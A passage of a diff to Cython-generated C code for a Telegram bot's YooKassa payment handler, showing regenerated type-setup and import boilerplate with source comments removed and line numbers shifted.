__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input->tp_dictoffset && __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message)) __PYX_ERR(0, 360, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message_spec, __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message) < 0) __PYX_ERR(0, 360, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message = &__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message) < 0) __PYX_ERR(0, 360, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message->tp_dictoffset && __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; } #endif __Pyx_RefNannyFinishContext(); @@ -13134,22 +12123,11 @@ if (!__Pyx_RefNanny) { if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif - /* "handlers/payments/yookassa_pay.py":1 - * import uuid # <<<<<<<<<<<<<< - * from typing import Any - * - */ __pyx_t_2 = __Pyx_ImportDottedModule(__pyx_n_s_uuid, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_uuid, __pyx_t_2) < 0) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/yookassa_pay.py":2 - * import uuid - * from typing import Any # <<<<<<<<<<<<<< - * - * import asyncpg - */ __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 2, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_Any); @@ -13164,25 +12142,11 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/yookassa_pay.py":4 - * from typing import Any - * - * import asyncpg # <<<<<<<<<<<<<< - * from aiogram import F, Router, types - * from aiogram.fsm.context import FSMContext - */ __pyx_t_3 = __Pyx_ImportDottedModule(__pyx_n_s_asyncpg, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 4, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (PyDict_SetItem(__pyx_d, __pyx_n_s_asyncpg, __pyx_t_3) < 0) __PYX_ERR(0, 4, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/yookassa_pay.py":5 - * - * import asyncpg - * from aiogram import F, Router, types # <<<<<<<<<<<<<< - * from aiogram.fsm.context import FSMContext - * from aiogram.fsm.state import State, StatesGroup - */ __pyx_t_3 = PyList_New(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 5, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_F); @@ -13211,13 +12175,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/yookassa_pay.py":6 - * import asyncpg - * from aiogram import F, Router, types - * from aiogram.fsm.context import FSMContext # <<<<<<<<<<<<<< - * from aiogram.fsm.state import State, StatesGroup - * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup - */ __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_FSMContext); @@ -13232,13 +12189,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/yookassa_pay.py":7 - * from aiogram import F, Router, types - * from aiogram.fsm.context import FSMContext - * from aiogram.fsm.state import State, StatesGroup # <<<<<<<<<<<<<< - * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup - * from aiogram.utils.keyboard import InlineKeyboardBuilder - */ __pyx_t_3 = PyList_New(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 7, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_State); @@ -13260,13 +12210,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/yookassa_pay.py":8 - * from aiogram.fsm.context import FSMContext - * from aiogram.fsm.state import State, StatesGroup - * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup # <<<<<<<<<<<<<< - * from aiogram.utils.keyboard import InlineKeyboardBuilder - * from aiohttp import web - */ __pyx_t_2 = PyList_New(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 8, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_InlineKeyboardButton); @@ -13288,13 +12231,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/yookassa_pay.py":9 - * from aiogram.fsm.state import State, StatesGroup - * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup - * from aiogram.utils.keyboard import InlineKeyboardBuilder # <<<<<<<<<<<<<< - * from aiohttp import web - * from yookassa import Configuration, Payment - */ __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_InlineKeyboardBuilder); @@ -13309,13 +12245,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/yookassa_pay.py":10 - * from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup - * from aiogram.utils.keyboard import InlineKeyboardBuilder - * from aiohttp import web # <<<<<<<<<<<<<< - * from yookassa import Configuration, Payment - * - */ __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_web); @@ -13330,13 +12259,6 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/yookassa_pay.py":11 - * from aiogram.utils.keyboard import InlineKeyboardBuilder - * from aiohttp import web - * from yookassa import Configuration, Payment # <<<<<<<<<<<<<< - * - * from config import ( - */ __pyx_t_3 = PyList_New(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 11, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_Configuration); @@ -13358,483 +12280,314 @@ if (!__Pyx_RefNanny) { __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/yookassa_pay.py":14 - * - * from config import ( - * DATABASE_URL, # <<<<<<<<<<<<<< - * EMAIL, - * REDIRECT_LINK, - */ - __pyx_t_2 = PyList_New(6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 14, __pyx_L1_error) + __pyx_t_2 = __Pyx_patch_asyncio(__Pyx_ImportDottedModule(__pyx_n_s_asyncio, NULL)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_asyncio, __pyx_t_2) < 0) __PYX_ERR(0, 12, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + __pyx_t_2 = PyList_New(6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 15, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_DATABASE_URL); __Pyx_GIVEREF(__pyx_n_s_DATABASE_URL); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_DATABASE_URL)) __PYX_ERR(0, 14, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_DATABASE_URL)) __PYX_ERR(0, 15, __pyx_L1_error); __Pyx_INCREF(__pyx_n_s_EMAIL); __Pyx_GIVEREF(__pyx_n_s_EMAIL); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_EMAIL)) __PYX_ERR(0, 14, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_EMAIL)) __PYX_ERR(0, 15, __pyx_L1_error); __Pyx_INCREF(__pyx_n_s_REDIRECT_LINK); __Pyx_GIVEREF(__pyx_n_s_REDIRECT_LINK); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 2, __pyx_n_s_REDIRECT_LINK)) __PYX_ERR(0, 14, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 2, __pyx_n_s_REDIRECT_LINK)) __PYX_ERR(0, 15, __pyx_L1_error); __Pyx_INCREF(__pyx_n_s_YOOKASSA_ENABLE); __Pyx_GIVEREF(__pyx_n_s_YOOKASSA_ENABLE); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 3, __pyx_n_s_YOOKASSA_ENABLE)) __PYX_ERR(0, 14, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 3, __pyx_n_s_YOOKASSA_ENABLE)) __PYX_ERR(0, 15, __pyx_L1_error); __Pyx_INCREF(__pyx_n_s_YOOKASSA_SECRET_KEY); __Pyx_GIVEREF(__pyx_n_s_YOOKASSA_SECRET_KEY); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 4, __pyx_n_s_YOOKASSA_SECRET_KEY)) __PYX_ERR(0, 14, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 4, __pyx_n_s_YOOKASSA_SECRET_KEY)) __PYX_ERR(0, 15, __pyx_L1_error); __Pyx_INCREF(__pyx_n_s_YOOKASSA_SHOP_ID); __Pyx_GIVEREF(__pyx_n_s_YOOKASSA_SHOP_ID); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 5, __pyx_n_s_YOOKASSA_SHOP_ID)) __PYX_ERR(0, 14, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 5, __pyx_n_s_YOOKASSA_SHOP_ID)) __PYX_ERR(0, 15, __pyx_L1_error); - /* "handlers/payments/yookassa_pay.py":13 - * from yookassa import Configuration, Payment - * - * from config import ( # <<<<<<<<<<<<<< - * DATABASE_URL, - * EMAIL, - */ - __pyx_t_3 = __Pyx_Import(__pyx_n_s_config, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 13, __pyx_L1_error) + __pyx_t_3 = __Pyx_Import(__pyx_n_s_config, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 14, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_DATABASE_URL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 13, __pyx_L1_error) + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_DATABASE_URL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 14, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_DATABASE_URL, __pyx_t_2) < 0) __PYX_ERR(0, 14, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_DATABASE_URL, __pyx_t_2) < 0) __PYX_ERR(0, 15, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_EMAIL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 13, __pyx_L1_error) + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_EMAIL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 14, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_EMAIL, __pyx_t_2) < 0) __PYX_ERR(0, 15, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_EMAIL, __pyx_t_2) < 0) __PYX_ERR(0, 16, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_REDIRECT_LINK); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 13, __pyx_L1_error) + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_REDIRECT_LINK); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 14, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_REDIRECT_LINK, __pyx_t_2) < 0) __PYX_ERR(0, 16, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_REDIRECT_LINK, __pyx_t_2) < 0) __PYX_ERR(0, 17, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_YOOKASSA_ENABLE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 13, __pyx_L1_error) + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_YOOKASSA_ENABLE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 14, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_YOOKASSA_ENABLE, __pyx_t_2) < 0) __PYX_ERR(0, 17, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_YOOKASSA_ENABLE, __pyx_t_2) < 0) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_YOOKASSA_SECRET_KEY); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 13, __pyx_L1_error) + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_YOOKASSA_SECRET_KEY); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 14, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_YOOKASSA_SECRET_KEY, __pyx_t_2) < 0) __PYX_ERR(0, 18, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_YOOKASSA_SECRET_KEY, __pyx_t_2) < 0) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_YOOKASSA_SHOP_ID); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 13, __pyx_L1_error) + __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_3, __pyx_n_s_YOOKASSA_SHOP_ID); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 14, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_YOOKASSA_SHOP_ID, __pyx_t_2) < 0) __PYX_ERR(0, 19, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_YOOKASSA_SHOP_ID, __pyx_t_2) < 0) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/yookassa_pay.py":22 - * ) - * from database import ( - * add_connection, # <<<<<<<<<<<<<< - * add_payment, - * check_connection_exists, - */ - __pyx_t_3 = PyList_New(6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 22, __pyx_L1_error) + __pyx_t_3 = PyList_New(6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_n_s_add_connection); __Pyx_GIVEREF(__pyx_n_s_add_connection); - if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_add_connection)) __PYX_ERR(0, 22, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_n_s_add_connection)) __PYX_ERR(0, 23, __pyx_L1_error); __Pyx_INCREF(__pyx_n_s_add_payment); __Pyx_GIVEREF(__pyx_n_s_add_payment); - if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_add_payment)) __PYX_ERR(0, 22, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 1, __pyx_n_s_add_payment)) __PYX_ERR(0, 23, __pyx_L1_error); __Pyx_INCREF(__pyx_n_s_check_connection_exists); __Pyx_GIVEREF(__pyx_n_s_check_connection_exists); - if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 2, __pyx_n_s_check_connection_exists)) __PYX_ERR(0, 22, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 2, __pyx_n_s_check_connection_exists)) __PYX_ERR(0, 23, __pyx_L1_error); __Pyx_INCREF(__pyx_n_s_get_key_count); __Pyx_GIVEREF(__pyx_n_s_get_key_count); - if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 3, __pyx_n_s_get_key_count)) __PYX_ERR(0, 22, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 3, __pyx_n_s_get_key_count)) __PYX_ERR(0, 23, __pyx_L1_error); __Pyx_INCREF(__pyx_n_s_get_temporary_data); __Pyx_GIVEREF(__pyx_n_s_get_temporary_data); - if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 4, __pyx_n_s_get_temporary_data)) __PYX_ERR(0, 22, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 4, __pyx_n_s_get_temporary_data)) __PYX_ERR(0, 23, __pyx_L1_error); __Pyx_INCREF(__pyx_n_s_update_balance); __Pyx_GIVEREF(__pyx_n_s_update_balance); - if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 5, __pyx_n_s_update_balance)) __PYX_ERR(0, 22, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 5, __pyx_n_s_update_balance)) __PYX_ERR(0, 23, __pyx_L1_error); - /* "handlers/payments/yookassa_pay.py":21 - * YOOKASSA_SHOP_ID, - * ) - * from database import ( # <<<<<<<<<<<<<< - * add_connection, - * add_payment, - */ - __pyx_t_2 = __Pyx_Import(__pyx_n_s_database, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 21, __pyx_L1_error) + __pyx_t_2 = __Pyx_Import(__pyx_n_s_database, __pyx_t_3, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 21, __pyx_L1_error) + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_add_connection, __pyx_t_3) < 0) __PYX_ERR(0, 22, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_add_connection, __pyx_t_3) < 0) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 21, __pyx_L1_error) + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_add_payment, __pyx_t_3) < 0) __PYX_ERR(0, 23, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_add_payment, __pyx_t_3) < 0) __PYX_ERR(0, 24, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 21, __pyx_L1_error) + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_check_connection_exists, __pyx_t_3) < 0) __PYX_ERR(0, 24, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_check_connection_exists, __pyx_t_3) < 0) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 21, __pyx_L1_error) + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_get_key_count, __pyx_t_3) < 0) __PYX_ERR(0, 25, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_get_key_count, __pyx_t_3) < 0) __PYX_ERR(0, 26, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_get_temporary_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 21, __pyx_L1_error) + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_get_temporary_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_get_temporary_data, __pyx_t_3) < 0) __PYX_ERR(0, 26, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_get_temporary_data, __pyx_t_3) < 0) __PYX_ERR(0, 27, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 21, __pyx_L1_error) + __pyx_t_3 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_d, __pyx_n_s_update_balance, __pyx_t_3) < 0) __PYX_ERR(0, 27, __pyx_L1_error) + if (PyDict_SetItem(__pyx_d, __pyx_n_s_update_balance, __pyx_t_3) < 0) __PYX_ERR(0, 28, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/yookassa_pay.py":30 - * ) - * from handlers.buttons.yookassa import ( - * BACK, # <<<<<<<<<<<<<< - * CUSTOM_SUM, - * DEFAULT_PAYMENT_MESSAGE, - */ - __pyx_t_2 = PyList_New(6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 30, __pyx_L1_error) + __pyx_t_2 = PyList_New(6); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_BACK); __Pyx_GIVEREF(__pyx_n_s_BACK); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_BACK)) __PYX_ERR(0, 30, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_BACK)) __PYX_ERR(0, 31, __pyx_L1_error); __Pyx_INCREF(__pyx_n_s_CUSTOM_SUM); __Pyx_GIVEREF(__pyx_n_s_CUSTOM_SUM); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_CUSTOM_SUM)) __PYX_ERR(0, 30, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_CUSTOM_SUM)) __PYX_ERR(0, 31, __pyx_L1_error); __Pyx_INCREF(__pyx_n_s_DEFAULT_PAYMENT_MESSAGE); __Pyx_GIVEREF(__pyx_n_s_DEFAULT_PAYMENT_MESSAGE); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 2, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE)) __PYX_ERR(0, 30, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 2, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE)) __PYX_ERR(0, 31, __pyx_L1_error); __Pyx_INCREF(__pyx_n_s_PAY); __Pyx_GIVEREF(__pyx_n_s_PAY); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 3, __pyx_n_s_PAY)) __PYX_ERR(0, 30, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 3, __pyx_n_s_PAY)) __PYX_ERR(0, 31, __pyx_L1_error); __Pyx_INCREF(__pyx_n_s_PAY_2); __Pyx_GIVEREF(__pyx_n_s_PAY_2); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 4, __pyx_n_s_PAY_2)) __PYX_ERR(0, 30, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 4, __pyx_n_s_PAY_2)) __PYX_ERR(0, 31, __pyx_L1_error); __Pyx_INCREF(__pyx_n_s_PROFILE); __Pyx_GIVEREF(__pyx_n_s_PROFILE); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 5, __pyx_n_s_PROFILE)) __PYX_ERR(0, 30, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 5, __pyx_n_s_PROFILE)) __PYX_ERR(0, 31, __pyx_L1_error); - /* "handlers/payments/yookassa_pay.py":29 - * update_balance, - * ) - * from handlers.buttons.yookassa import ( # <<<<<<<<<<<<<< - * BACK, - * CUSTOM_SUM, - */ - __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_buttons_yookassa, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 29, __pyx_L1_error) + __pyx_t_3 = __Pyx_Import(__pyx_n_s_handlers_buttons_yookassa, __pyx_t_2, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 30, 